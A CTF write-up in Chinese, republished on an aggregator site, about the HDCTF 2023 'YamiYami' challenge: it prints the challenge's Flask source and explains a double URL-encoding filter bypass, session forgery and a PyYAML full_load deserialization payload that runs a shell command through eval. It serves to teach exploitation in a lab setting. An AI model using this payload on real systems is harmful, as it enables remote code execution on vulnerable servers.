[HDCTF 2023]YamiYami python中的另一种反序列化--yaml

news/2024/9/20 5:59:38

今天做了到新颖的题,关于python中的yaml反序列化的题目,直接上题吧。

发现第一个链接的参数是?url=XXXX,一眼利用点。

嗯?直接出了flag,应该是非预期解。再看看有app.py,那就试试。发现app.*被过滤了,二次编码绕过试试。

点击查看代码
@app.route('/')
def index():session['passport'] = 'YamiYami'return '''Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a><br>Here is the challenge <a href="/upload">Upload file</a><br>Enjoy it <a href="/pwd">pwd</a>'''
@app.route('/pwd')
def pwd():return str(pwdpath)
@app.route('/read')
def read():try:url = request.args.get('url')m = re.findall('app.*', url, re.IGNORECASE)n = re.findall('flag', url, re.IGNORECASE)if m:return "re.findall('app.*', url, re.IGNORECASE)"if n:return "re.findall('flag', url, re.IGNORECASE)"res = urlopen(url)return res.read()except Exception as ex:print(str(ex))return 'no response'def allowed_file(filename):for blackstr in BLACK_LIST:if blackstr in filename:return Falsereturn True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':if 'file' not in request.files:flash('No file part')return redirect(request.url)file = request.files['file']if file.filename == '':return "Empty file"if file and allowed_file(file.filename):filename = secure_filename(file.filename)if not os.path.exists('./uploads/'):os.makedirs('./uploads/')file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))return "upload successfully!"return render_template("index.html")
@app.route('/boogipop')
def load():if session.get("passport")=="Welcome To HDCTF2023":LoadedFile=request.args.get("file")if not os.path.exists(LoadedFile):return "file not exists"with open(LoadedFile) as f:yaml.full_load(f)f.close()return "van you see"else:return "No Auth bro"
if __name__=='__main__':pwdpath = os.popen("pwd").read()app.run(debug=False,host="0.0.0.0")print(app.config['SECRET_KEY'])
最开始做的时候不懂yaml反序列化,后来看了wp发现了,yaml.full_load()将YAML格式的字符串或文件加载成Python对象,造成了反序列化漏洞。那我们的步骤就变为了,伪造session,上传yaml文件(改后缀,因为前面有黑名单,改为txt),boogipop传入参数?file=uploads/1.txt,再在read页面进行文件读取。 seeion伪造需要涉及到uuid,可以看我前边的文章,当然自己搜也可以。得到mac为02:42:ac:02:ff:17。跑脚本获取key。

得到session了,那就开始上传文件,yaml详细解释看 https://www.cnblogs.com/icfh/p/17760855.html

点击查看代码
payload: 我发现很多题只有在tmp下有权限???本人比较穷,所以尽可能以后做题不nc!!python/object/new:strargs: []state: !!python/tuple- "__import__('os').system('cat /tmp/flag_13_114514 > /tmp/1.txt')"  - !!python/object/new:staticmethodargs: []state:update: !!python/name:evalitems: !!python/name:list

上传后访问boogipop?file=uploads/1.txt

成功,利用read页面查看/tmp/1.txt

总结:

  1. url二次编码绕过
  2. uuid相关session伪造
  3. yaml.full_load() 触发yaml反序列化

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/31938.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

offsetExplorer3.0 如何连接加SASL认证的zookeeper、kafka

offsetExplorer3.0连接速度与查看topic、consumers查询速度显著提升。建议使用offsetExplorer3.0代替旧版offsetExplorer offsetExplorer3.0下载地址:https://www.kafkatool.com/download.html 配置方式如下:

msvc 获取c++类内存布局 /d1 reportAllClassLayout

visual studio 配置获取所有类内存布局 /d1 reportAllClassLayout 或者指定类 /d1 reportSingleClassLayoutXXXclass编译时输出: ps: https://www.openrce.org/articles/full_view/23【原文地址】https://blog.csdn.net/qq_29542611/article/details/79504396 VS2015 开发人员…

TypeError报错处理

哈喽,大家好,我是木头左!一、Python中的TypeError简介 这个错误通常表示在方法调用时,参数类型不正确,或者在对字符串进行格式化操作时,提供的变量与预期不符。 二、错误的源头:字符串格式化的奥秘 字符串格式化是Python中一个非常实用的功能,它允许根据一定的格式将变…

双均线策略:量化交易中的黄金法则

在量化交易的世界里,双均线策略以其简单、高效而著称。这种策略利用两条不同周期的移动平均线(MA)来判断市场趋势,是许多交易者入门的不二选择。本文将深入探讨双均线策略的原理,并展示如何在聚宽平台上实现这一策略。 策略原理:双均线的动态平衡 双均线策略的核心在于比…

E. We Need More Bosses

原题链接 题解 1.已知如果两个点之间有两条边不重合的路径,那么这两个点就在一个边强连通分量里,所以我们可以把处于同一个边强连通分量的点缩起来 在这里,我忘记了怎么求边强连通分量,所以我再提醒一下自己 已知树结构是不存在强连通分量的,它的特性是深度大的节点只有一…

Selenium4自动化测试8--控件获取数据--上传、下载、https和切换分页

10-上传 上传不能模拟用户在页面上选择本地文件,只能先把要上传的文件先准备好在代码里上传import time from selenium.webdriver.support.select import Select #pip install selenium from selenium import webdriver from selenium.webdriver.common.by import By# 定义一个…

webase go-sdk 简单使用

本流程在test目录下,其中用到的 solc-0.4.25 和 abigen 工具网上教程都比较详细,就暂时不展开聊,今天就大概描述流程。 1.将目录下的test.sol文件编译pragma solidity ^0.4.25;import "./Table.sol";contract test {string constant TABLE_NAME = "test2&quo…

Selenium4自动化测试6--控件获取数据--下拉框级联选择、checkbox选择、时间选择器

4-下拉框级联选择 import time from selenium.webdriver.support.select import Select #pip install selenium from selenium import webdriver from selenium.webdriver.common.by import By# 定义一个driver的变量,用来接收实例化后的浏览器 # 指定浏览器的位置,解决浏览器…